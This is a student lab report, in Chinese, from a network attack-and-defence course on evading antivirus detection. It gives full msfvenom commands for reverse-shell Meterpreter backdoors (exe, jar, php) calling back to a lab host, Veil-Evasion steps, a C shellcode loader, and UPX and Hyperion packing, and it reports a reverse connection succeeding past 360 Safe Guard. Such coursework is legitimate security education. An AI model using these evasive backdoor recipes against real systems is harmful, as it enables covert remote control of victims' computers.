1. 程式人生 > >2018-2019-2 網絡對抗技術 20165311 Exp3 免殺原理與實踐

2018-2019-2 網絡對抗技術 20165311 Exp3 免殺原理與實踐

col eno 比較 encode var 針對 name -s cnblogs

2018-2019-2 網絡對抗技術 20165311 Exp3 免殺原理與實踐

    • 免殺原理及基礎問題回答
    • 實驗內容
      • 任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧
        1. 使用msf編碼器生成各種後門程序及檢測
        2. 使用veil-evasion生成後門程序及檢測
        3. 半手工註入Shellcode並執行
      • 任務二:通過組合應用各種技術實現惡意代碼免殺
      • 任務三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本
    • 實驗遇到的問題及解決方法
    • 離實戰還缺什麽技術或步驟
    • 實驗總結及體會

免殺原理及基礎問題回答

一、免殺原理

  • 免殺就是通過一定的手段,將文件進行“整容”,讓殺軟無法識別,已達到免於被殺軟查殺的目的。
  • 免殺思路:(1)對病毒木馬文件進行修改;(2)拓展病毒木馬文件功能,甚至是攻擊殺軟來達到目的。

二、基礎問題回答

  • 問:殺軟是如何檢測出惡意代碼的?
    • 特征碼是指殺軟針對相應病毒或木馬所特有的特點截取的一段二進制代碼(涵蓋了十六進制代碼、匯編指令等)。殺軟就是依靠檢查文件特征碼來識別一個文件是不是病毒或木馬。
    • 啟發式惡意軟件檢測:啟發式指 “自我發現的能力”或“運用某種方式或方法去判定事物的知識和技能”, 是殺毒軟件能夠分析文件代碼的邏輯結構是否含有惡意程序特征,或者通過在一個虛擬的安全環境中前攝性的執行代碼來判斷其是否有惡意行為
    • 基於行為的惡意軟件檢測:通過對惡意代碼的觀察研究,發現有一些行為是惡意代碼共同的比較特殊的行為,殺軟會監視程序的運行,如果發現了這些特殊行為,就會認為其是惡意軟件。
  • 問:免殺是做什麽?
    • 使用一些技術手段對惡意軟件做處理,讓它不被殺毒軟件所檢測。
  • 問:免殺的基本方法有哪些?
    • 改變特征碼
      • 只有EXE——加殼
      • 有shellcode——利用encode進行編碼
      • 有源代碼——用其他語言進行重寫再編譯
        • veil-evasion
        • 半手工
    • 改變行為
      • 通訊方式
        • 盡量使用反彈式連接
        • 使用隧道技術
        • 加密通訊數據
      • 操作模式
        • 基於內存的操作
        • 減少對系統的修改
        • 加入混淆作用的正常功能代碼

三、免殺效果評價
利用VirusTotal或Virscan,可以上傳免殺處理過的程序進行檢測。

返回目錄


實驗內容

任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧

1. 正確使用msf編碼器,生成exe文件

  • 在實驗二中使用msf生成了後門程序,使用VirusTotal或Virscan這兩個網站對生成的後門程序進行掃描。

  • 用VirusTotal掃描後結果如下:

技術分享圖片

  • Virscan網站的掃描結果如下:

技術分享圖片

下面我們用msf編碼器對後門程序進行一次到多次的編碼,並進行檢測

  • 一次編碼使用命令:-e選擇編碼器,-b是payload中需要去除的字符,該命令中為了使‘\x00‘不出現在shellcode中
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b \x00 LHOST=192.168.1.155 LPORT=5311 -f exe > ljx-backdoor.exe

技術分享圖片

  • 進行十次編碼
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.155 LPORT=5311 -f exe > ljx-backdoor10.exe
  • 將編碼十次後的可執行文件上傳到VirusTotal掃描後結果如下

技術分享圖片

  • 可見多次編碼對免殺沒有太大的效果,原因有兩點:
  1. 殺軟只要盯住shikata_ga_nai解碼(decoder stub)加入exe的部分。
  2. msfvenom會以固定的模板生成exe,所有它生成的exe,如果使用默認參數或模板,也有一定的固定特征。

2. msfvenom生成jar文件

  • 生成java後門程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5311 x> ljx_backdoor_java.jar

  • 生成文件如下所示:

技術分享圖片

  • 掃描結果如下:

技術分享圖片

3. msfvenom生成php文件

  • 生成PHP後門程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5311 x> ljx_backdoor.php

  • 生成文件如下所示:

技術分享圖片

  • 掃描結果如下:

技術分享圖片

返回目錄

4. 使用veil-evasion生成後門程序及檢測

安裝veil

  • 因為鏡像版本原因,在安裝之先執行下面的指令
mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安裝Veil
  • 之後用veil打開veil,輸入y繼續安裝直至完成:

技術分享圖片

  • use evasion命令進入Evil-Evasion

技術分享圖片

  • 輸入命令use c/meterpreter/rev_tcp.py進入配置界面

技術分享圖片

  • 設置反彈連接IP,命令為:set LHOST 192.168.1.155,註意此處的IP是KaliIP;

  • 設置端口,命令為:set LPORT 5311

技術分享圖片

  • 輸入generate生成文件,接著輸入你想要playload的名字:veil_c_5311

技術分享圖片

  • 如上圖所示,保存路徑為/var/lib/veil/output/compiled/veil_c_5311.exe

  • 檢測一下:

技術分享圖片

返回目錄

5. 半手工註入Shellcode並執行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5311 -f c用c語言生成一段shellcode;

技術分享圖片

  • 創建一個文件20165311.c,然後將unsigned char buf[]賦值到其中,代碼如下:
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此處省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令:i686-w64-mingw32-g++ 20165311.c -o 20165311.exe編譯這個.c文件為可執行文件;

技術分享圖片

  • 檢測結果如下圖:

技術分享圖片

  • 當想要使用windows上執行該程序時,被電腦的360衛士查殺。

技術分享圖片

返回目錄


任務二:通過組合應用各種技術實現惡意代碼免殺

  • 使用壓縮殼(UPX)
  • 給之前的20165318.exe加個殼得到sxx_upxed.exe:

技術分享圖片

  • 還是被殺軟查殺了

技術分享圖片

  • 加密殼Hyperion
  1. 將上一個生成的文件拷貝到/usr/share/windows-binaries/hyperion/目錄中
  2. 進入 /usr/share/windows-binaries/hyperion/
  3. 輸入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe進行加殼:

技術分享圖片

技術分享圖片

  • 嘗試一下反彈連接

技術分享圖片

  • 網頁檢查一下

技術分享圖片

技術分享圖片

返回目錄


任務三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本

  • 免殺方法:先用msfvenom生成shellcode,再使用壓縮殼和加密殼進行加殼。
  • 實驗環境:對方電腦為 win7虛擬機,360安全衛士11.4.0.2003(由於我的kali問題,最後一個任務我與5329何佳偉用了同一個win7系統進行反彈連接)

  • 反彈連接結果、

技術分享圖片

返回目錄


離實戰還缺些什麽技術或步驟?

  • 由於病毒庫的更新速度非常的快,我們只有掌握更加成熟的技術來包裝病毒才能不被查殺到。

  • 對於實戰來說,我還需要學習更多對病毒的改造方法。

返回目錄


實驗遇到的問題及解決方法

在安裝veil evasion的時候展開包一直失敗,後來上網百度了以後才知道這個和版本有關系

輸入以下代碼之後問題就順利解決了

mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

返回目錄


實踐總結與體會

首先那個veil太難裝了總出錯,一開始裝了一個晚上最後還是失敗了,這次實驗學到了很多知識。

最重要也是最有趣的就是如何把後門軟件進行改造來讓它偽裝騙過所有的殺毒軟件,而且實驗中

也讓我們也見識到了中國殺毒軟件的“菜”,學習永無止境!

返回目錄

2018-2019-2 網絡對抗技術 20165311 Exp3 免殺原理與實踐